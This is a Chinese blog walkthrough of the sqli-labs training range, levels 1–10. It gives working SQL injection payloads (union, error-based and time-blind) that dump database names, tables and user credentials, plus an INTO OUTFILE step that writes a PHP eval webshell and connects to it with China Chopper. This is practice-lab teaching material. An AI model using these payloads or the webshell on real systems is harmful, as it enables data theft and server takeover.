注入双括号报错注入_SQL手动注入：sqlilabs(less110)

最新推荐文章于 2022-09-26 19:02:34 发布
最新推荐文章于 2022-09-26 19:02:34 发布
阅读量170 收藏
点赞数
文章标签： 注入双括号报错注入
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_39835792/article/details/112627677
版权

种一棵树最好的时间是10年前，其次是现在。

忘了是谁
a8dd64442640e8d6f3204d4751535ab1.png

前言

说实话，由于前段时间学 python ，对于 OWASP TOP10 漏洞的学习都有所落下，虽然现在也在慢慢复习当中，但是今晚谈及的 SQL 注入漏洞手动注入和自动化(sqlmap)注入的一些知识时，不免有些语塞，有些命令都已经开始淡忘，想想得补一补，于是就打算拿 sqli-labs 这个SQL 注入专属练习靶场来重温一下，顺便把之前写得博文搬到公众号上来。

猪(鄙夷的目光)：文字的搬运工。。。

4f4fc37433e9f945b14ecd1e89bb002b.png

匠(挠挠头d3de483a8c2e2cb9410195e710b18611.png)：后续对于这个靶场的自动化(sqlmap)注入姿势也总结一下吧，顺便复习一下 sqlmap 。

ce5723238f81fda8165cf916606cf909.png

a8dd64442640e8d6f3204d4751535ab1.png

环境准备

phpstydy 

firefox 浏览器

HackBar 插件

sqli-labs 源码

sublime  

中国菜刀

hackbar 插件新版的要钱，可以去下载旧版的，或者有其他替代品，功能也差不多

a8dd64442640e8d6f3204d4751535ab1.png

less1

源码分析

  1. 采用 get 方法接收用户输入

  2. 单引号闭合参数

  3. 参数拼接 sql 语句进行数据库查询

623cc2f24106321d012e3cb4dc2ef47d.png

漏洞利用

01

查看数据表列数 

猜测列数为 3 ，回显正常

index.php?id=1' order by 3 --+

6109185a2bbf8e209d3ca39301f9e575.png

猜测列数为 4 ，出现错误，说明当前数据表列数为 3 。

58562fbbf40fd98f73195d34362b2b40.png

02

union查询

注：MySQL5.0 之后有一个 information_schema 数据库

查看回显位，可以得知数字 2 和 3 可以回显。

index.php?id=0' union select 1,2,3 --+

ecd219a54ebc18ad8359d72478110213.png

利用回显位查看数据库相关信息

index.php?id=0' union select 1,version(),database() --+

9d30b8db8a0f2c1d8667a27fe924d953.png

爆出 security 的所有表

index.php?id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),database() --+

d4d44cd5e73c02db324d732d1f22f589.png

查看 users 表下的所有列

index.php?id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),database() --+

baa0f152b856d91fe396e4850a903f5d.png

查看 users 表下的所有数据

index.php?id=0' union select 1,(select group_concat(username,'-') from security.users),(select group_concat(password) from security.users) --+

55da87f1f06334d08582e284badda02a.png

a8dd64442640e8d6f3204d4751535ab1.png

less2

源码分析

  1.  直接获取用户输入

  2. sql 语句拼接

9987dd6d876d4af2cbaac478791b1fa6.png

漏洞利用

和 Less1 相比就是在进行 sql 语句拼接的时候没有对参数进行单引号引用。思路和 Less1 一样，就是不用闭合单引号和注释后面无关内容而已。

01

union注入

index.php?id=0 union select 1,2,3

c05d998fe9a98711c33c27595cc34ec5.png

a8dd64442640e8d6f3204d4751535ab1.png

less3

源码分析

  1.  直接说去用户输入

  2. 拼接 sql 语句时将参数用单引号+括号进行引用

15b4b85a1a5b5dc442fa1f78528d7e71.png

漏洞利用

对单引号和括号进行闭合即可，同时使用注释符将无用部分注释掉，注入思路和 Less1 一样。

01

union注入

index.php?id=0') union select 1,2,3 --+

92fe0877fba39bdfc6ce999a5b4d5df3.png

a8dd64442640e8d6f3204d4751535ab1.png

less4

源码分析

  1.  直接获取用户输入

  2. 对参数进行双引号+括号引用

17ad271f6314fee3f4e197f10fefd2d5.png

漏洞利用

对双引号和括号进行闭合，注入思路和 Less 1 一样。

a8dd64442640e8d6f3204d4751535ab1.png

less5

源码分析

  1.  直接获取用户输入

  2. 对参数进行单引号引用

  3. 没有数据回显

  4. 有错误信息回显

dc8dd5eb43f155816b2e897523e1ac7a.png

漏洞利用

01

报错注入

报错注入会涉及三个函数 floor、updatexml、extractvalue。

MySQL_v5.0.96 还有 floor 报错注入，高版本的没有。

MySQL 5.1.5 版本种添加了对 XML 文档进行查询和修改的两个函数：extractvalue 和 updatexml 。

三个函数的运用格式如下：

floor

select 1 from (select count(*), concat((database()),floor(rand(0)*2))x from information_schema.tables group by x)a

updatexml

updatexml(1,concat(0x7e,(database()),0x7e),1)

extractvalue

extractvalue(1,concat(0x7e,(database()),0x7e))

这里主要拿 floor 函数来做演示。可以拆分为几部分方便记忆。

select 1 from( i )ai = select count(*),concat( j )x from information_schema.tables group by xj = payload,floor(rand(0)*2)

显示当前数据库

index.php?id=0' and (select 1 from(select count(*),concat((database()),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

fd33066bfaba7fbd199ac7e774180962.png

显示当前数据库下所有表，这里使用 group_concat() 显示所有表，出现错误 “信息超过一行” 。

index.php?id=1' and (select 1 from(select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

67173c5413b2d731abe2162a52b40871.png

使用 limit 一个一个显示出来。

ps: 这里的 limit 0,1 代表第一个数据；limit 1,1 代表第二个数据

index.php?id=1'and (select 1 from(select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

a77cdddc9681539c4ef7885d06323080.png

a8dd64442640e8d6f3204d4751535ab1.png

less6

源码分析

  1. 直接获取用户输入

  2. 双引号应用参数

  3. 没有数据信息回显

  4. 有错误信息回显

漏洞利用

相比于 Less 5，这里的参数用双引号引用，注意双引号闭合，注释符的使用即可，解题思路和 Less 5 一样。

a8dd64442640e8d6f3204d4751535ab1.png

less7

源码分析

  1. 直接获取用户参数

  2. 用双括号+双引号引用参数

  3. 没有数据信息回显

  4. mysql_error()函数被注释

b5e5b592876d6bf404864d4a6ee67160.png

漏洞利用

页面提示我们 outfile 命令写入木马文件

c4582bd12d6b683ed4b3badaaaa8332c.png

这种方法的关键之处在于知道网站在系统的绝对路径和能够找到写入文件的路径，之后用菜刀进行连接。

注：反斜杠 \ 是转义字符，这里使用双反斜杠 \\ 表示反斜杠；也可以使用正斜杠 / 代替反斜杠；也开始使用 r 将引号里面的内容定义为字符串，如：r"C:\\phpStudy2013\\WWW\\script.php"

index.php?id=-1')) union select 1,"<?php  @eval($_POST['pass']);?>",3 into outfile "C:\\phpStudy2013\\WWW\\script.php" --+

fd8afd53beb1f5f9d85d3762e2a31610.png

之后访问上传的一句话文件。

f8e507bf4ad81e424c565bfeee783449.png

使用菜刀连接

bc27c07391016e6e7d48754f989bbaf2.png

07712f71c6fd8ba97ca4f5d22ab684fa.png

a8dd64442640e8d6f3204d4751535ab1.png

less8

源码分析

  1. 直接获取用户参数

  2. 单引号引用参数

  3. 没有数据信息回显

  4. 也没有错误信息回显

4217d9a89fc03275430e4dafe44c4cb0.png

漏洞利用

01

时间盲注

没有错误信息回显，那报错注入的方法就行不通，可以试一试时间盲注。

判断时间盲注的方法先是id=1' or sleep(1) # ，如果延时则存在延时注入

时间盲注的格式如下：

if((判断条件),(条件为 true 时执行),(条件为 false 执行))

if(ascii(substring(database()),1,1)=115,sleep(1),1)

猜测当前数据库，若当前数据库的第一个字母的 ASCII码大于０，则延时５秒。

index.php?id=1' and if(ascii(substring(database(),1,1))>0,sleep(5),1) --+

4d07dc5d3be6e957cf89caa6bde0ed72.png

猜测得出第一个字母位＇ｓ＇，ascii(s) = 115

index.php?id=1' and if(ascii(substring(database(),1,1))=115,sleep(5),1) --+

以此类推去猜，费劲，一般报错注入/时间盲注这些比较费时的操作都交给 sqlmap 去自动化注入比较省事。

a8dd64442640e8d6f3204d4751535ab1.png

less9

源码分析

  1. 直接获取用户输入

  2. 单引号引用，参数拼接

  3. 没有数据回显

  4. 没有错误信息回显

4099c4b6c29f679fe3e90f9e5796d1a1.png

漏洞利用

时间盲注，注意单引号闭合，思路和 Less 8 一样。

a8dd64442640e8d6f3204d4751535ab1.png

less10

源码分析

  1. 直接获取用户参数

  2. 双引号引用参数进行 sql 语句拼接

  3. 没有数据回显

  4. 没有错误信息回显

e16fd75e6aa0f3c8ee11486118c64cf0.png

漏洞利用

时间盲注，注意双引号的闭合，注入思路和 Less 8 一样。

a8dd64442640e8d6f3204d4751535ab1.png

尾声

我是匠心，一个在清流旁默默磨剑的匠人，希望有一天能利刃出鞘，仗剑走江湖。

94fa4a967a76f1d813942bfe9807b745.png

好文！必须在看

留言区

weixin_39835792
关注
SQL注入漏洞复现：探索不同类型的注入攻击方法
weixin_43263566的博客
08-26 1444
基于错误的注入（Error-based Injection）：攻击者通过构造恶意的SQL语句，利用应用程序返回的错误信息来获取数据库中的敏感信息。基于联合查询的注入（Union-based Injection）：攻击者通过在注入点处构造特殊的SQL语句，利用UNION命令将其他查询结果合并到原始查询中，从而获取额外的数据。基于时间延迟的注入（Time-based Injection）：攻击者通过在注入点处构造特殊的SQL语句，
sqli-labs靶场实现（一）【GET基于报错的SQL注入】（less-1~4、具体步骤+图文详解）
weixin_46709219的博客
12-12 963
一）GET基于报错的SQL注入 1）SQL注入的分类 2）get基于报错的SQL注入发现 3）get基于报错的SQL注入利用 4）利用sqlmap测试 二） 三） —————————————————————————————————————————————————— 一）GET基于报错的SQL注入 1）SQL注入的分类 2）get基于报错的SQL注入发现 3）get基于报错的SQL注入利用 4）利用sqlmap测试 ...
html sql注入_SQL注入特殊小技巧
weixin_39722188的博客
11-26 256
一位苦于信息安全的萌新小白帽本实验仅用于信息防御教学，切勿用于它用途公众号：XG小刚小技巧在平常的SQL注入过程中，难免会存在一些敏感函数被过滤，或者被WAF识别所拦截。所以我们可以通过其他不常用的函数来绕过过滤，实现相同的效果。在此只通过MYSQL数据库来表达意思，其他数据库自行百度谷歌。。。。。。逻辑运算符注入过程中，用到最最最频繁的就是逻辑符号，像and 1=1、or 2&...
SQL注入语句（详细）
热门推荐
m0_64118193的博客
06-02 2万+
目录一、联合查询1.判断注入点 2.查询字段 3.确定回显点 4.基础查询信息二、报错注入1.substr()函数 2.查询语句三、布尔盲注1.length( )函数 2.substr( )函数 3.ord( )函数 4.查询语句四、时间盲注1.sleep( )延迟函数 2.查询语句五、堆叠注入1.查询语句***爆库语句SQLMAP工具的使用参数用户可控：前端传递给后端的参数内容是用户可以控制的参数带入数据库查询：传入的参数拼接到SQL语句，且带入数据库查询当传入的id参数为
SQL注入双括号报错注入
studyphp123的博客
04-22 1245
一、预备知识 1. SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序，而这些输入大都是SQL语法里的一些组合，通过执行SQL语句进而执行攻击者所要的操作，其主要原因是程序没有细致地过滤用户输入的数据，致使非法数据侵入系统。 2. 根据相关技术原理，SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或数据库平台的漏洞所致；后者主要是由于程序员对输入未进行细致地过滤，从...
链接注入（便于跨站请求伪造）
日拱一卒无有尽，功不唐捐终入海
11-25 1万+
安全风险: 可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息可能会窃取或操纵客户会话和 cookie，它们可能用于模仿合法用户，从而使黑客能够以该用户身份查看或变更用户记录以及执行事务可能会在 Web 服务器上上载、修改或删除 Web 页面、脚本和文件 可能原因 未对用户输入正确执行危险字符清理 技术描述 “链接注入”是修
手动漏洞挖掘-SQL注入小谈
含笑
04-25 7712
所谓SQL注入，就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。 服务器端程序将用户输入参数做为查询条件，直接拼接SQL语句，并将查询结果返回给客户端浏览器。 根据相关技术原理，SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或数据库平台的漏洞所致；后者主要是由于程序员对输入未进行细致地过滤，从而执行了非法的数
SQL注入从入门到进阶：sqli-labs靶场通关笔记
tzyyyyyy的博客
09-26 7050
SQL注入从入门到进阶：sqli-labs全关通关笔记 Less-1~Less64
sqli-labs学习笔记（十一）less 32-37 宽字节注入
闵行小鱼塘
09-18 712
继续学习sqli-labs，本篇是less 32-37
​Sqli - labs实战笔记
浪子燕青的博客
02-25 522
​Sqli - labs 安装与lesson1-4实战 所需环境： １．　PHP ２．　MYSQL ３．　Apache/Nginx 以上三项Debian都自带了，２与３直接开启即可，但是有几点要注意： １．　Debian下的MySql每次登录的时候默认需要授权，即必须使用sudo，可以修改配置文件忽略默认授权，修改方法在之前的文件有提起过． ２．　Apache存放文件放在/var/www/html/目录下 ３．　sqli-labs　使用的PHP5编写的，但是Debian默认安装PHP７，兼..
Sqli-labs-master超详细通关教程（1-23关基础篇）
m0_67391270的博客
06-12 3321
一到四关主要是参数被包装的问题。一般用于尝试的语句Ps:–+可以用#替换，url 提交过程中 Url 编码后的#为%23and1=2–+'and1=2–+"and1=2–+)and1=2–+')and1=2–+")and1=2–+"))and1=2–+图中显示的sql语句是我为了方便理解，修改了源代码显示出的id =1 and 1=2页面正常，考虑是否有字符注入，先加单引号可以看到提示，存在’ '包装，我们加上–+http://127.0.0.1:8080/sqli-labs-master/Less-1/?
SQL注入攻击及防御 手动注入+sqlmap自动化注入实战（网络安全学习12）
Until_U的博客
07-05 4642
1 项目实验环境 测试渗透机：kali_linux-2020 链接：https://pan.baidu.com/s/1apN96nIcs1Fyx8YmFs24Xg 提取码：32ve 目标靶机：owasp_Broken_Web_Apps 链接：https://pan.baidu.com/s/1CMJ2aERmDGlXXkhUmjDmtA 提取码：9zsj 2 SQL注入概述 2.1 SQL注入简介 在owasp年度top 10安全问题中，注入高居榜首。SQL注入攻击指的是通过构建特殊..
SQL Server 动态SQL EXEC加括号与不加括号的一点小问题
kxjrzyk的专栏
03-17 1270
SQL Server 2008 R2关键代码 DECLARE @lv_address VARCHAR(2000), @lv_re_ids VARCHAR(2000), @lv_search_type VARCHAR(20), @lv_re_id NUMERIC(38),
sql手动注入常用步骤
StriveBen的博客
03-22 1万+
前言 提起sql注入，相信大家并不陌生，就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令,从而达到和服务器进行直接的交互.有可能存在SQL注入的数据库类型可以是Mysql,Mssql,Oracle,Postgress等等 预备知识 对mysql数据库有一定了解；对基本的sql语句有所了解； 对url编码有了解：空格=‘%...
SQL注入：SQL注入类型（手动）&SQL注入的检测
caoxinjian423的博客
03-07 1584
一、SQL注入流程 1、判断是否有SQL注入漏洞（检测） 2、判断操作系统、数据库和web应用类型 3、获取数据库信息，包括管理员信息及拖库 4、加密信息破解，sqlmap可自动破解 5、提升权限，获得sql-shell、os-shell、登录应用后台 二、SQL注入类型（手动） 1、基于错误的注入 错误注入的思路是通过构造特殊的sql语句，根据得到的错误信息，确认sql注入点 ...
SSM+JSP政务大厅管理系统答辩PPT.pptx
10-15
计算机毕业设计答辩PPT
博客系统-java-基于ssm博客系统的设计与实现+vue（毕业论文+开题+任务书）
10-15
博客系统采用的开发框架为SSM框架，也就是Spring mvc、Spring、MyBatis这三个框架，页面设计用的是jsp技术作为动态页面文件设计，jsp文件里可以对实现html等界面布局的代码，采用SpringMVC替代传统的struts2框架，主要对jsp访问的拦截和控制，Spring作为整个控制的核心，通过控制反转技术和面向切面技术，让Spring自动对使用的类文件进行调用和导入，MyBatis主要作为底层操作数据库，不牵扯业务逻辑，开发工具采用Eclipse，服务器用的是tomcat。编码语言是Java，数据库采用Mysql。
公司日常考勤系统 JAVA毕业设计 源码+数据库+论文 Vue.js+SpringBoot+MySQL.zip
10-15
公司日常考勤系统 JAVA毕业设计 源码+数据库+论文 Vue.js+SpringBoot+MySQL 系统启动教程：https://www.bilibili.com/video/BV11ktveuE2d
基于Android的团购系统APP答辩PPT.pptx
最新发布
10-15
计算机毕业设计答辩PPT
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值